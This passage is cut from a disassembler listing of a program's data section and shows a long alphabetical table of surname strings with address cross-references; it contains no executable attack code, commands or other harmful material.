'Jespersen',0 ; DATA XREF: ___:0042E1D0o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E1CCo aJellis db 'Jellis',0 ; DATA XREF: ___:0042E1C8o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E1C4o aJay db 'Jay',0 ; DATA XREF: ___:0042E1C0o aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E1BCo aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E1B8o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E1B4o align 4 aJamil db 'Jamil',0 ; DATA XREF: ___:0042E1B0o align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042E1ACo align 4 aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E1A8o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042E1A4o align 4 aJagers db 'Jagers',0 ; DATA XREF: ___:0042E1A0o align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042E19Co aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E198o aIyer db 'Iyer',0 ; DATA XREF: ___:0042E194o align 4 aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E190o align 10h aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E18Co align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E188o align 4 aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E184o align 4 aInniss db 'Inniss',0 ; DATA XREF: ___:0042E180o align 4 aInamura db 'Inamura',0 ; DATA XREF: ___:0042E17Co aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E178o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042E174o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E170o align 10h aHyde db 'Hyde',0 ; DATA XREF: ___:0042E16Co align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E168o align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E164o align 10h aHupp db 'Hupp',0 ; DATA XREF: ___:0042E160o align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042E15Co align 4 aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E158o align 10h aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E154o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042E150o align 4 aHoy db 'Hoy',0 ; DATA XREF: ___:0042E14Co aHoward db 'Howard',0 ; DATA XREF: ___:0042E148o align 10h aHottle db 'Hottle',0 ; DATA XREF: ___:0042E144o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042E140o aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E13Co aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E138o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E134o aHooker db 'Hooker',0 ; DATA XREF: ___:0042E130o align 10h aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E12Co aHolway db 'Holway',0 ; DATA XREF: ___:0042E128o align 10h aHolter db 'Holter',0 ; DATA XREF: ___:0042E124o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E120o aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E11Co align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E118o align 10h aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E114o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E110o aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E10Co align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042E108o align 4 aHoang db 'Hoang',0 ; DATA XREF: ___:0042E104o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E100o align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042E0FCo align 10h aHind db 'Hind',0 ; DATA XREF: ___:0042E0F8o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E0F4o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E0F0o align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E0ECo aHester db 'Hester',0 ; DATA XREF: ___:0042E0E8o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E0E4o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E0E0o align 10h aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E0DCo align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042E0D8o align 4 aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E0D4o align 10h aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E0D0o aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E0CCo align 4 aHellman db 'Hellman',0 ; DATA XREF: ___:0042E0C8o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E0C4o aHeft db 'Heft',0 ; DATA XREF: ___:0042E0C0o align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E0BCo align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E0B8o align 4 aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E0B4o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042E0B0o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042E0ACo align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E0A8o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E0A4o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E0A0o align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E09Co align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042E098o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E094o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E090o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E08Co align 10h aHarding db 'Harding',0 ; DATA XREF: ___:0042E088o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E084o aHand db 'Hand',0 ; DATA XREF: ___:0042E080o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E07Co align 4 aHamer db 'Hamer',0 ; DATA XREF: ___:0042E078o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E074o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E070o aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E06Co align 10h aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E068o aHaley db 'Haley',0 ; DATA XREF: ___:0042E064o align 10h aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E060o align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042E05Co aHaar db 'Haar',0 ; DATA XREF: ___:0042E058o unk_430679 db 0 ; DATA XREF: Themida_:0055F666o db 0 db 0 aHa db 'Ha',0 ; DATA XREF: ___:0042E054o align 10h aGuo db 'Guo',0 ; DATA XREF: ___:0042E050o aGunn db 'Gunn',0 ; DATA XREF: ___:0042E04Co align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E048o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E044o align 10h aGruner db 'Gruner',0 ; DATA XREF: ___:0042E040o align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E03Co align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E038o align 10h aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E034o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E030o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042E02Co align 4 aGravell db 'Gravell',0 ; DATA XREF: ___:0042E028o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E024o align 4 aGoody db 'Goody',0 ; DATA XREF: ___:0042E020o align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E01Co align 4 aGood db 'Good',0 ; DATA XREF: ___:0042E018o align 10h aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E014o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E010o align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042E00Co aGlegg db 'Glegg',0 ; DATA XREF: ___:0042E008o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042E004o aGist db 'Gist',0 ; DATA XREF: ___:0042E000o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DFFCo align 4 aGill db 'Gill',0 ; DATA XREF: ___:0042DFF8o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042DFF4o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DFF0o aGibson db 'Gibson',0 ; DATA XREF: ___:0042DFECo align 4 aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DFE8o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DFE4o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DFE0o aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DFDCo align 4 aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DFD8o align 10h aGeller db 'Geller',0 ; DATA XREF: ___:0042DFD4o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DFD0o aGarman db 'Garman',0 ; DATA XREF: ___:0042DFCCo align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DFC8o align 4 aGambini db 'Gambini',0 ; DATA XREF: ___:0042DFC4o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DFC0o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DFBCo align 10h aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DFB8o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DFB4o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DFB0o align 10h aFurth db 'Furth',0 ; DATA XREF: ___:0042DFACo align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DFA8o align 10h aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DFA4o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042DFA0o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DF9Co align 10h aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DF98o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DF94o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DF90o align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042DF8Co align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DF88o align 10h aFreid db 'Freid',0 ; DATA XREF: ___:0042DF84o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DF80o align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DF7Co align 10h aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DF78o align 10h aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DF74o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042DF70o align 4 aFossey db 'Fossey',0 ; DATA XREF: ___:0042DF6Co align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042DF68o aFortes db 'Fortes',0 ; DATA XREF: ___:0042DF64o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042DF60o align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DF5Co align 10h aFlores db 'Flores',0 ; DATA XREF: ___:0042DF58o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DF54o align 10h aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DF50o aFisk db 'Fisk',0 ; DATA XREF: ___:0042DF4Co align 4 aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DF48o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DF44o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DF40o aFink db 'Fink',0 ; DATA XREF: ___:0042DF3Co align 4 aField db 'Field',0 ; DATA XREF: ___:0042DF38o align 4 aFido db 'Fido',0 ; DATA XREF: ___:0042DF34o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DF30o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DF2Co align 10h aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DF28o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DF24o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DF20o aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DF1Co aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DF18o align 10h aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DF14o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042DF10o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DF0Co align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042DF08o align 4 aFarone db 'Farone',0 ; DATA XREF: ___:0042DF04o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042DF00o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DEFCo aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DEF8o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DEF4o align 4 aFagan db 'Fagan',0 ; DATA XREF: ___:0042DEF0o align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DEECo aEverett db 'Everett',0 ; DATA XREF: ___:0042DEE8o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DEE4o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DEE0o align 10h aEstes db 'Estes',0 ; DATA XREF: ___:0042DEDCo align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DED8o align 4 aErez db 'Erez',0 ; DATA XREF: ___:0042DED4o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042DED0o align 4 aErdman db 'Erdman',0 ; DATA XREF: ___:0042DECCo align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042DEC8o align 4 aEppling db 'Eppling',0 ; DATA XREF: ___:0042DEC4o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DEC0o aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DEBCo aElvis db 'Elvis',0 ; DATA XREF: ___:0042DEB8o align 4 aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DEB4o align 10h aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DEB0o align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DEACo align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DEA8o aEdward db 'Edward',0 ; DATA XREF: ___:0042DEA4o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042DEA0o align 4 aEdley db 'Edley',0 ; DATA XREF: ___:0042DE9Co align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042DE98o align 4 aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DE94o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DE90o aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DE8Co align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042DE88o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DE84o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DE80o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DE7Co aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DE78o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DE74o align 4 aDoug db 'Doug',0 ; DATA XREF: ___:0042DE70o align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042DE6Co align 4 aDosi db 'Dosi',0 ; DATA XREF: ___:0042DE68o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042DE64o align 4 aDore db 'Dore',0 ; DATA XREF: ___:0042DE60o align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DE5Co align 4 aDonner db 'Donner',0 ; DATA XREF: ___:0042DE58o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DE54o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DE50o aDockery db 'Dockery',0 ; DATA XREF: ___:0042DE4Co aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DE48o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DE44o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DE40o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DE3Co align 10h aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DE38o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DE34o align 4 aDicks db 'Dicks',0 ; DATA XREF: ___:0042DE30o align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DE2Co align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DE28o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DE24o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DE20o aDenham db 'Denham',0 ; DATA XREF: ___:0042DE1Co align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DE18o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DE14o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DE10o align 4 aDeming db 'Deming',0 ; DATA XREF: ___:0042DE0Co align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DE08o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DE04o align 10h aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DE00o align 10h aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DDFCo align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DDF8o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DDF4o align 10h aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DDF0o aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DDECo align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDE8o align 10h aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DDE4o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DDE0o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DDDCo aDavid db 'David',0 ; DATA XREF: ___:0042DDD8o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DDD4o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DDD0o align 4 aDas db 'Das',0 ; DATA XREF: ___:0042DDCCo aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDC8o aDapice db 'Dapice',0 ; DATA XREF: ___:0042DDC4o align 4 aDante db 'Dante',0 ; DATA XREF: ___:0042DDC0o align 4 aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DDBCo aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DDB8o aDaly db 'Daly',0 ; DATA XREF: ___:0042DDB4o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DDB0o align 10h aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DDACo aCyders db 'Cyders',0 ; DATA XREF: ___:0042DDA8o align 10h aCvek db 'Cvek',0 ; DATA XREF: ___:0042DDA4o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042DDA0o align 10h aCurrier db 'Currier',0 ; DATA XREF: ___:0042DD9Co aCui db 'Cui',0 ; DATA XREF: ___:0042DD98o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042DD94o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042DD90o align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042DD8Co aCrocker db 'Crocker',0 ; DATA XREF: ___:0042DD88o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042DD84o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042DD80o aCounter db 'Counter',0 ; DATA XREF: ___:0042DD7Co aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042DD78o align 4 aCornish db 'Cornish',0 ; DATA XREF: ___:0042DD74o aCorey db 'Corey',0 ; DATA XREF: ___:0042DD70o align 4 aConnors db 'Connors',0 ; DATA XREF: ___:0042DD6Co aCondodina db 'Condodina',0 ; DATA XREF: ___:0042DD68o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042DD64o aComstock db 'Comstock',0 ; DATA XREF: ___:0042DD60o align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042DD58o ; ___:0042DD5Co aCollis db 'Collis',0 ; DATA XREF: ___:0042DD54o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042DD50o aColella db 'Colella',0 ; DATA XREF: ___:0042DD4Co aColdren db 'Coldren',0 ; DATA XREF: ___:0042DD48o aCoito db 'Coito',0 ; DATA XREF: ___:0042DD44o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042DD40o aClow db 'Clow',0 ; DATA XREF: ___:0042DD3Co align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042DD38o aClement db 'Clement',0 ; DATA XREF: ___:0042DD34o aClark db 'Clark',0 ; DATA XREF: ___:0042DD30o align 4 aClancy db 'Clancy',0 ; DATA XREF: ___:0042DD2Co align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042DD28o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042DD24o align 10h aCicero db 'Cicero',0 ; DATA XREF: ___:0042DD20o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042DD1Co align 4 aChurch db 'Church',0 ; DATA XREF: ___:0042DD18o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042DD14o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042DD10o aChristopher db 'Christopher',0 ; DATA XREF: ___:0042DD0Co aChristie db 'Christie',0 ; DATA XREF: ___:0042DD08o align 4 aChristiano db 'Christiano',0 ; DATA XREF: ___:0042DD04o align 10h aChristian db 'Christian',0 ; DATA XREF: ___:0042DD00o align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042DCFCo aChinman db 'Chinman',0 ; DATA XREF: ___:0042DCF8o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042DCF4o aChilds db 'Childs',0 ; DATA XREF: ___:0042DCF0o align 4 aChildress db 'Childress',0 ; DATA XREF: ___:0042DCECo align 10h aChien db 'Chien',0 ; DATA XREF: ___:0042DCE8o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042DCE4o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042DCE0o align 10h aCherry db 'Cherry',0 ; DATA XREF: ___:0042DCDCo align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042DCD8o align 10h aCharles db 'Charles',0 ; DATA XREF: ___:0042DCD4o aChapman db 'Chapman',0 ; DATA XREF: ___:0042DCD0o aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042DCCCo aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042DCC8o align 4 aCavell db 'Cavell',0 ; DATA XREF: ___:0042DCC4o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042DCC0o align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042DCBCo align 4 aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DCB8o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042DCB4o align 4 aCascio db 'Cascio',0 ; DATA XREF: ___:0042DCB0o align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DCACo align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042DCA8o align 10h aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DCA4o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042DCA0o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DC9Co aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DC98o align 4 aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DC94o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DC90o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DC8Co aCapursi db 'Capursi',0 ; DATA XREF: ___:0042DC88o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DC84o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DC80o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DC7Co align 4 aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DC78o align 10h aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DC74o aCanley db 'Canley',0 ; DATA XREF: ___:0042DC70o align 10h aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DC6Co align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DC68o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DC64o align 10h aCage db 'Cage',0 ; DATA XREF: ___:0042DC60o align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042DC5Co align 10h aByerly db 'Byerly',0 ; DATA XREF: ___:0042DC58o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042DC54o align 10h aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DC50o aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DC4Co align 4 aBurke db 'Burke',0 ; DATA XREF: ___:0042DC48o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DC44o align 4 aBurden db 'Burden',0 ; DATA XREF: ___:0042DC40o align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042DC3Co align 4 aBullard db 'Bullard',0 ; DATA XREF: ___:0042DC38o aBudding db 'Budding',0 ; DATA XREF: ___:0042DC34o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DC30o align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DC2Co aBrook db 'Brook',0 ; DATA XREF: ___:0042DC28o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042DC24o align 4 aBritz db 'Britz',0 ; DATA XREF: ___:0042DC20o align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DC1Co aBridges db 'Bridges',0 ; DATA XREF: ___:0042DC18o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DC14o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DC0Co ; ___:0042DC10o align 10h aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DC08o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DC04o align 10h aBreed db 'Breed',0 ; DATA XREF: ___:0042DC00o align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DBFCo align 10h aBradach db 'Bradach',0 ; DATA XREF: ___:0042DBF8o aBradac db 'Bradac',0 ; DATA XREF: ___:0042DBF4o align 10h aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DBF0o align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DBECo align 4 aBoym db 'Boym',0 ; DATA XREF: ___:0042DBE8o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DBE4o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DBE0o align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DBDCo align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DBD8o align 10h aBowers db 'Bowers',0 ; DATA XREF: ___:0042DBD4o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DBD0o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DBCCo aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DBC8o align 4 aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DBC4o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042DBC0o aBossi db 'Bossi',0 ; DATA XREF: ___:0042DBBCo align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042DBB8o align 4 aBorack db 'Borack',0 ; DATA XREF: ___:0042DBB4o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DBB0o align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042DBACo align 10h aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DBA8o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042DBA4o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DBA0o align 10h aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DB9Co align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042DB98o align 4 aBoner db 'Boner',0 ; DATA XREF: ___:0042DB94o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042DB90o aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DB8Co align 10h aBolick db 'Bolick',0 ; DATA XREF: ___:0042DB88o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042DB84o align 10h aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DB80o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DB7Co aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DB78o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DB74o aBloch db 'Bloch',0 ; DATA XREF: ___:0042DB70o align 10h aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DB6Co aBliss db 'Bliss',0 ; DATA XREF: ___:0042DB68o align 10h aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DB64o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DB60o align 4 aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DB5Co align 4 